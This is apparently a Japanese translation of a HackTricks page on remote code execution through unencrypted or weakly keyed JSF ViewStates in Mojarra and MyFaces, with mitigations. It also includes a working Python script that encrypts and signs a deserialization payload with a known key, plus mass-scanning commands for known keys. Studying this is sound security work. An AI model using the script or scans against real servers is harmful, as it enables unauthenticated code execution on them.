24 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
-
ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。
イントロ
RCEs through misconfigured JSON librariesを見た後、私たちはJSF実装のViewStatesを分析し始めました。JavaServer Faces (JSF)は、再利用可能なコンポーネントを使用してWeb UIを構築するためのユーザーインターフェース(UI)技術です。JSFは主にエンタープライズアプリケーションに使用され、JSF実装は通常、JBoss EAPやWebLogic ServerなどのJavaアプリケーションサーバー上で実行されるWebアプリケーションによって使用されます。JSF仕様の2つのよく知られた実装があります:
- Oracle Mojarra(JSFリファレンス実装)
- Apache MyFaces
スコープ
このブログ記事では、2つのJSF 2.x実装、Oracle Mojarra(リファレンス実装)とApache MyFacesに焦点を当てています。古い実装(JSF 1.x)も、この記事で説明されている脆弱性の影響を受ける可能性があります。(JSF 2.0.xは2009年に最初にリリースされ、現在のバージョンは2.3.xです)。
ViewStateの状態
JSFと同様のWeb技術との違いの1つは、JSFがViewStates(セッションに加えて)を使用してビューの現在の状態(例:現在表示されているビューのどの部分を表示するか)を保存することです。ViewStateはサーバー
またはクライアント
に保存できます。JSFのViewStatesは通常、HTMLフォームにjavax.faces.ViewState
という名前の非表示フィールドとして自動的に埋め込まれます。フォームが送信されると、それらはサーバーに送信されます。
サーバーサイドのViewState
JSF ViewStateがサーバー
に配置されるように構成されている場合、非表示のjavax.faces.ViewState
フィールドには、サーバーが正しい状態を取得するのに役立つIDが含まれています。MyFacesの場合、そのIDはシリアライズされたJavaオブジェクトです!
クライアントサイドのViewState
JSF ViewStateがクライアント
に配置されるように構成されている場合、非表示のjavax.faces.ViewState
フィールドには、少なくともBase64でエンコードされたシリアライズされたJavaオブジェクトが含まれています。おそらくすでに気づいたかもしれませんが、これは潜在的な災害への道です!それが現在のJSF ViewStatesが送信される前に暗号化および署名される理由の1つかもしれません。シリアライズされたJavaオブジェクトの危険性
2015年のAppSec Californiaカンファレンスで、Gabriel LawrenceとChris Frohoffは、「Marshalling Pickles(オブジェクトのデシリアライズがあなたの日常を台無しにする方法)」というタイトルのプレゼンテーションを行いました(https://frohoff.github.io/appseccali-marshalling-pickles/)。このプレゼンテーションは、Javaオブジェクトのシリアル化に関する忘れられた問題に光を当て、いくつかの深刻なリモートコード実行(RCE)の脆弱性の発見につながりました。
残念ながら、これにより、Apache Commons Collectionsの特定のバージョンを削除/更新することで脆弱性を緩和できると信じる人もいました。これは確かに助けになるかもしれませんが、問題の根本的な原因である信頼できないデータのデシリアライズ(CWE 502)を解決するものではありません。言い換えれば、「脆弱な」Apache Commons Collectionsバージョンの使用は、アプリケーションが脆弱であることを意味するわけではなく、そのようなライブラリバージョンの欠如は、アプリケーションが脆弱でないことを意味するわけではありません。
しかし、悪意のあるハッカーが「Mad Gadget」/「Apache Commons Collections Deserialization Vulnerability」を介してサンフランシスコ市交通局のシステムをシャットダウンして暗号化した後、GoogleはOperation Rosehubを開始しました。Operation Rosehubの目的は、依存関係として問題のあるcommons collectionsバージョンを使用しているであろうJavaオープンソースプロジェクトをできるだけ多く見つけ、プロジェクトの所有者にプルリクエストを提出して、それらのプロジェクトが新しいリリースで問題のあるcommons collectionsバージョンの使用をやめるようにすることでした。
ViewStateへの攻撃
JSFベースのログインページを持つWebアプリケーションがあると仮定しましょう:
そのログインページには、暗号化も署名もされていないViewStateがあります。そのため、HTMLソースを見ると、ViewStateを含む隠しフィールドが表示されます:Unencrypted MyFaces ViewState:
<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />
上記のViewStateをBase64でデコードすると、シリアライズされたJavaオブジェクトが含まれていることがわかります。このViewStateは、フォームが送信されると(たとえば、ログインをクリックすると)POST経由でサーバーに送信されます。ViewStateがサーバーにPOSTされる前に、攻撃者は既にサーバーのクラスパス上にあるガジェット(例:commons-collections-3.2.1.jarのInvokerTransformer)またはまだ公に知られていないガジェットを使用して、ViewStateを自分自身の悪意のあるViewStateで置き換えます。悪意のあるガジェットがViewStateに配置されると、攻撃者はサーバーで実行するコマンドを指定できます。攻撃者が選んだコマンドは、サーバー上のUIで電卓を起動することです。
攻撃者が修正したフォームをサーバーに送信した後、JSFの実装は提供されたViewStateをデシリアライズしようとします。ViewStateのデシリアライズが終了する前に、コマンドが実行され、サーバー上で電卓が起動します。
すべては、JSFの実装がViewStateを確認してそれが無効であると判断する前に起こりました。ViewStateが無効であると判明した場合、通常は「ビューの有効期限が切れました」といったエラーがクライアントに送信されます。しかし、その時点では既に手遅れです。攻撃者はサーバーにアクセスし、コマンドを実行しています(ほとんどの現実の攻撃者は電卓を起動するのではなく、通常はリモートシェルを展開し、それを使用してサーバーにアクセスします)。
=> この例は、非常に危険な未認証のリモートコード実行(RCE)の脆弱性を示しています。
(上記のJSFに対するほぼ同じ攻撃シナリオは、2015年のプレゼンテーション(65〜67ページ)で既に概説され、デモンストレーションされていました:Marshalling Pickles(FrohoffとLawrenceによる))。
成功した攻撃の前提条件
それでは、災害のための要素は何でしょうか?
- 暗号化されていないViewState(または、暗号化キーの所持)
- サーバーのクラスパス上にガジェットが存在する
- Mojarraの場合:ViewStateが「クライアント」に配置されるように構成されている
- MyFacesの場合:ViewStateが「クライアント」または「サーバー」に配置されるように構成されている
これらのポイントを、2つのJSF実装と関連して見てみましょう。
Oracle Mojarra(JSFリファレンス実装)
前述のように、Oracle MojarraはJSFリファレンス実装(RI)ですが、その名前で知られていないかもしれません。Sun JSF RIとして知られることもあり、javaパッケージ名com.sun.faces
で認識されるか、あいまいなjar名jsf-impl.jar
で認識されるかもしれません。
Mojarra:暗号化されていないViewState
ここが重要なポイントです:Mojarraは、2.0.xおよび2.1.xのほとんどのバージョンでデフォルトでクライアントサイドのViewStateを暗号化および署名していませんでした。サーバーサイドのViewStateが両方のJSF実装のデフォルトですが、開発者はjavax.faces.STATE_SAVING_METHOD
パラメータをclient
に設定することで簡単に構成を切り替えてクライアントサイドのViewStateを使用することができます。このパラメータ名は、それをclientに変更すると重大なリモートコード実行の脆弱性(クラスタ化されたWebアプリケーションでクライアントサイドのViewStateが使用される場合など)が導入されることを示していません。
クライアントサイドのViewStateの暗号化は、Mojarra 2.2以降のバージョンではデフォルトで使用されていますが、2.0.xおよび2.1.xのブランチではデフォルトではありませんでした。ただし、2016年5月にMojarraの開発者は、暗号化されていないViewStateがRCEの脆弱性につながることに気付いたため、デフォルトのクライアントサイドのViewStateの暗号化を2.0.xおよび2.1.xにバックポートし始めました。
したがって、少なくとも2.1.xブランチの2.1.29-08(2016年7月リリース)および2.0.xの2.0.11-04(同様に2016年7月リリース)のバージョンでは、デフォルトで暗号化が有効になっています。
Mojarraライブラリを分析したところ、Red Hatも2.1.xおよび2.0.xブランチ向けのMojarraバージョンをリリースしていることがわかりました。最新のバージョンは2.1.29-jbossorg-1および2.0.4-b09-jbossorg-4です。これらのリリースもデフォルトのViewStateの暗号化が無効であったため、私たちはRed Hatに連絡し、彼らは迅速にバグトラッカーでバグ1479661 - JSF client side view state saving deserializes dataを作成しました。2.1.xブランチに対する以下の緩和策を提案しました。
脆弱なWebアプリケーションでは、javax.faces.STATE_SAVING_METHODを「client」に設定してクライアントサイドのビューステート保存を有効にする必要があります。Enterprise Application Platform(EAP)6.4.xのデフォルト値は「server」です。
javax.faces.STATE_SAVING_METHODが「client」に設定されている場合、この問題の緩和策は、アプリケーションのweb.xmlでcom.sun.faces.ClientStateSavingPasswordを設定してビューを暗号化することです:<context-param> <param-name>javax.faces.STATE_SAVING_METHOD</param-name> <param-value>client</param-value> </context-param> <env-entry> <env-entry-name>com.sun.faces.ClientStateSavingPassword</env-entry-name> <env-entry-type>java.lang.String</env-entry-type> <env-entry-value>[some secret password]</env-entry-value> </env-entry>
残念ながら、一部のさらに古いバージョンでは、その緩和策は機能しません。この素晴らしいStackOverflowの回答によ
Mojarra: クライアントに保存されるViewStateの設定
Mojarraのデフォルトのjavax.faces.STATE_SAVING_METHOD
設定はserver
です。開発者は手動でこれをclient
に変更する必要があります。これにより、Mojarraは上記で説明した攻撃シナリオに対して脆弱になります。シリアライズされたViewStateがサーバーに送信されるが、Mojarraがserver
側のViewState保存を使用している場合、それをデシリアライズしようとはしません(ただし、StringIndexOutOfBoundsException
が発生する可能性があります)。
Mojarra: 緩和策
Mojarraをサーバー側のViewStateを使用している場合は、何もする必要はありません。
Mojarra < 2.2を使用してクライアント側のViewStateを使用している場合、以下の緩和策があります。
- Mojarraを2.0.11-04または2.1.29-08にアップデートします。
- クライアント側のViewStateの代わりにサーバー側のViewStateを使用します。
- より古いバージョンのMojarraを使用しており、アップデートやサーバー側のViewStateへの切り替えが不可能な場合は、一時的な解決策としてViewStateパスワードを設定し、それが正しいパラメータであることを確認します(必ずしも対応するドキュメント内のパラメータである必要はありません)。
後のMojarraバージョンの場合:
- ViewStateの暗号化がパラメータ
com.sun.faces.disableClientStateEncryption
を介して無効になっていないことを確認します。
Apache MyFaces
Apache MyFacesはもう1つの大きな、広く使用されているJSFの実装です。
MyFaces: 暗号化されていないViewState
MyFacesはデフォルトでViewStateを暗号化します。これは彼らのセキュリティ設定のWikiページで述べられています。
暗号化はデフォルトで有効になっています。暗号化は本番環境で使用する必要があり、テスト/開発環境では無効にすることができます。
ただし、パラメータorg.apache.myfaces.USE_ENCRYPTION
をfalse
に設定することで、ViewStateの暗号化を無効にすることも可能です(または、暗号化を使用しながら推測しやすいパスワードを手動で設定することも可能です)。デフォルトでは、MyFacesはサーバーの再起動ごとにViewStateの暗号化キーを変更します。
デフォルトでは、MyFacesは暗号化アルゴリズムとしてDES
、ViewStateの認証にはHMAC-SHA1
を使用します。AES
やHMAC-SHA256
などのより新しいアルゴリズムを設定することが可能であり、推奨されています。
MyFaces: クライアントに保存されるViewStateの設定
MyFacesのデフォルトのjavax.faces.STATE_SAVING_METHOD
設定はserver
です。しかし、MyFacesはViewStateの設定に関係なく常にデシリアライズを行います。そのため、MyFacesを使用する際には暗号化を無効にしないことが非常に重要です!
(私たちはMyFacesのバグトラッカーに問題を作成しました:MYFACES-4133 サーバーの状態保存方法がserverの場合にViewState-IDをデシリアライズしないようにする、おそらく今回はより安全なデフォルトの要望が受け入れられるでしょう。)
MyFaces: 緩和策
MyFacesを使用する場合は、ViewStateの暗号化が無効になっていないことを確認してください(org.apache.myfaces.USE_ENCRYPTION
を介して)。ViewStateがクライアントまたはサーバーに保存されているかに関係なく、これが重要です。
カスタム暗号化
何らかの方法で使用されているパスワードを盗むことができれば、次のスクリプトを使用してウェブサーバーに対してペイロードを暗号化および署名攻撃することができます:
#!/usr/bin/python3
import sys
import hmac
from urllib import parse
from base64 import b64encode
from hashlib import sha1
from pyDes import *
YELLOW = "\033[93m"
GREEN = "\033[32m"
def encrypt(payload,key):
cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
enc_payload = cipher.encrypt(payload)
return enc_payload
def hmac_sig(enc_payload,key):
hmac_sig = hmac.new(key, enc_payload, sha1)
hmac_sig = hmac_sig.digest()
return hmac_sig
key = b'JsF9876-'
if len(sys.argv) != 3 :
print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
else:
with open(sys.argv[1], "rb") as f:
payload = f.read()
f.close()
print(YELLOW + "[+] Encrypting payload")
print(YELLOW + " [!] Key : JsF9876-\n")
enc_payload = encrypt(payload,key)
print(YELLOW + "[+] Creating HMAC signature")
hmac_sig = hmac_sig(enc_payload,key)
print(YELLOW + "[+] Appending signature to the encrypted payload\n")
payload = b64encode(enc_payload + hmac_sig)
payload = parse.quote_plus(payload)
print(YELLOW + "[*] Final payload : {}\n".format(payload))
with open(sys.argv[2], "w") as f:
f.write(payload)
f.close()
print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))
Badsecretsを使った既知のキーの検出
は、既知の暗号鍵の使用を検出することができるライブラリであり、生成される製品を調べ、既知のまたは弱い鍵のリストと照合します。そのJsf_viewstate
モジュールは、MojarraとMyFacesの両方で既知のキーを使用して作成されたJava Server Faces ViewStates、および保護されていないまたは圧縮されたViewStatesを検出することができます。
最も簡単な方法は、cli.py
の例ツールを以下のように使用することです:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/cli.py Ly8gp+FZKt9XsaxT5gZu41DDxO74k029z88gNBOru2jXW0g1Og+RUPdf2d8hGNTiofkD1VvmQTZAfeV+5qijOoD+SPzw6K72Y1H0sxfx5mFcfFtmqX7iN6Gq0fwLM+9PKQz88f+e7KImJqG1cz5KYhcrgT87c5Ayl03wEHvWwktTq9TcBJc4f1VnNHXVZgALGqQuETU8hYwZ1VilDmQ7J4pZbv+pvPUvzk+/e2oNeybso6TXqUrbT2Mz3k7yfe92q3pRjdxRlGxmkO9bPqNOtETlLPE5dDiZYo1U9gr8BBQ=
一致するものが見つかった場合、それに加えて利用されているプラットフォーム(MojarraまたはMyFaces)、暗号化アルゴリズム、および圧縮の有無もリストアップされます。これらはすべて攻撃に必要な情報です。
大規模な検索を行うために、サブドメインの列挙と組み合わせて、badsecrets
BBOTモジュールを使用することができます。
bbot -f subdomain-enum -m badsecrets -t evil.corp
最終的な考察
このブログ記事で紹介されたJSF ViewStatesとそれらの危険性に関するほとんどの事実は新しいものではありませんが、これほど簡潔な形でまとめられたことはなかったようです。それは、見かけ上は無害な設定変更でも深刻な脆弱性につながる可能性があることを示しています。
=> 問題の一つは、セキュリティ研究者と実際に使用および設定する可能性のある危険なライブラリを使用する開発者の間での知識の移転が十分に行われていないようです。
参考文献
- https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html
- https://0xrick.github.io/hack-the-box/arkham/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクション
-
公式のPEASS&HackTricksのグッズを手に入れましょう
-
💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
-
ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。